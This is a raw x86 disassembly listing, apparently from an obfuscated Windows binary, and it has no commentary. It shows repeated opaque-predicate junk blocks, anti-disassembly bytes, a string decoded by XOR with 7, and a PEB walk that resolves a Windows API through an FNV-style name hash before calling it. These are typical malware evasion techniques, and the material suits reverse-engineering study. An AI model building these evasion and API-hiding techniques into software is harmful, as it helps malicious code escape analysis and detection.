call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x423415
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x423415
mov dword [ebp - 0x2b0], 1
jmp 0x4234b8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4234b8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2b0], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0x10f]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x2b0]
add dl, dl
mov cl, byte [ebp + eax - 0x10f]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x2b4]
mov byte [ebp + eax - 0x10f], cl
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42380d
xor eax, eax
je 0x423520
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3790]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4235da
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4235da
mov dword [ebp - 0x2bc], 1
jmp 0x42367d
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42367d
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2bc], eax
xor eax, eax
je 0x423682
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3790]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42373c
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42373c
mov dword [ebp - 0x2b8], 1
jmp 0x4237df
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4237df
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2b8], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0x10f]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x2b8]
add dl, dl
mov cl, byte [ebp + eax - 0x10f]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x2bc]
mov byte [ebp + eax - 0x10f], cl
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x10
jb 0x4227d0
lea eax, [ebp - 0x10f]
mov byte [ebp - 0x110], 1
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x42392e
mov eax, dword [ebp - 0x18]
mov byte [ebp - 1], 0
mov dword [eax], 0x41bad0
xor eax, eax
movups xmm0, xmmword [str.NMNNMNMNMNMNNMM_aD_Rtbut_fcjni_thrudb_ubwht_Jhuwobjb45_dhjjhi_o_a]
movups xmmword [ebp - 0x410], xmm0
nop dword [eax]
xor byte [ebp + eax - 0x410], 7
inc eax
cmp eax, 0x10
jl 0x423860
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], edi
mov ecx, dword [edi + 0x3c]
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov dword [ebp - 0x28], ecx
cmp ecx, edi
je 0x4238fb
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4238fb
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, edi
mov esi, dword [ecx - 4]
sub ecx, 4
add esi, edi
mov dword [ebp - 0xc], ecx
dec edx
mov edi, 0x97e3319e
mov dword [ebp - 0x18], edx
mov cl, byte [esi]
inc esi
mov byte [ebp - 1], cl
test cl, cl
je 0x4238f1
mov al, cl
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x4238c2
mov eax, dword [ebp - 0x14]
cmp edi, 0xb70de522
je 0x423902
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov edi, dword [eax + 0x18]
test edx, edx
jne 0x4238a2
mov eax, dword [eax]
jmp 0x42387a
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x410]
add eax, edx
push ecx
call eax
jmp 0x430ec8
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*8]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x423bda
xor eax, eax
je 0x42396b
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a36a8]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x423a16
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x423a78
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x423a78
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx edi, al
imul edi, esi
shl edi, 2
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
xor eax, eax
je 0x423ac0
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3680]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x423b6f
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
jne 0x430ec8
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x430ec8
mov al, byte [0x8af51d]
call fcn.0041b7b0
call fcn.0041b780
call fcn.0041b770
mov al, byte [str._b_t7::_a]
mov al, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
jmp 0x430ec8
cmp dword [0x8b00e4], 0
je 0x424d70
movups xmm0, xmmword [0x7a361c]
mov al, byte [0x7a362c]
mov byte [ebp - 1], 0
movups xmmword [ebp - 0xf0], xmm0
mov byte [ebp - 0xe0], al
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0x10
jae 0x424c63
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
shl esi, 2
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x423f3f
xor eax, eax
je 0x423c52
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3790]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x423d0c
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x423d0c
mov dword [ebp - 0x200], 1
jmp 0x423daf
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x423daf
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x200], eax
xor eax, eax
je 0x423db4
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3790]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x423e6e
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x423e6e
mov dword [ebp - 0x2c0], 1
jmp 0x423f11
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x423f11
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2c0], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x2c0]
add dl, dl
mov cl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x200]
mov byte [ebp + eax - 0xef], cl
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
add esi, esi
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42492b
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*8]
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4242ae
xor eax, eax
je 0x423fc1
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3788]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42407b
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x42407b
mov dword [ebp - 0x2c8], 1
jmp 0x42411e
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42411e
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2c8], eax
xor eax, eax
je 0x424123
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3788]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4241dd
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4241dd
mov dword [ebp - 0x2c4], 1
jmp 0x424280
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x424280
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x2c4]
add dl, dl
mov cl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x2c8]
mov byte [ebp + eax - 0xef], cl
call fcn.0041b790
movsx ecx, byte [0x8b05fd]
movsx eax, al
imul ecx, eax
lea esi, [ecx + ecx*4]
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4245da
xor eax, eax
je 0x4242ed
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3780]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4243a7
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x4243a7
mov dword [ebp - 0x2d0], 1
jmp 0x42444a
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42444a
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2d0], eax
xor eax, eax
je 0x42444f
add byte [edi], cl
mov esi, 0x8af52105
add byte [esi + 0xf], ah
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
and esi, ebp
mov al, byte [eax]
movsx eax, byte [0x8af521]
movd xmm1, eax
movsx eax, byte [0x8af523]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x7a3780]
movsd qword [ebp - 0x10], xmm1
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax*8]
sub esi, eax
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x424509
call fcn.0041b790
movsx esi, byte [0x8b05fd]
movsx eax, al
imul esi, eax
add esi, esi
call fcn.0041b7c0
movsx eax, al
sub esi, eax
call fcn.0041b7a0
movsx ecx, al
movsx eax, byte [0x8af523]
add ecx, esi
add eax, ecx
je 0x424509
mov dword [ebp - 0x2cc], 1
jmp 0x4245ac
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*8]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x4245ac
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*2]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
movsd xmm0, qword [ebp - 0x10]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x7a3840]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x2cc], eax
mov eax, dword [ebp - 8]
mov dl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 8]
and dl, byte [ebp - 0x2cc]
add dl, dl
mov cl, byte [ebp + eax - 0xef]
mov eax, dword [ebp - 8]
sub cl, dl
add cl, byte [ebp - 0x2d0]
mov byte [ebp + eax - 0xef], cl
call fcn.0041b780
movsx esi, al
call fcn.0041b770
movsx eax, al
imul eax, esi
lea esi, [eax + eax*4]
call fcn.0041b7b0
movsx ecx, al
xor edx, edx
movsx eax, byte [0x8af51d]
add ecx, esi
add eax, ecx
movsx ecx, byte [str._b_t7::_a]
div ecx
movsx ecx, byte [0x8af522]
sub eax, ecx
je 0x42492b
mov eax, dword [ebp - 8]
sub eax, 0x11
mov dword [ebp - 0xc], eax
xor eax, eax
je 0x42462b
add byte [edi], cl
mov esi, 0x8af52105
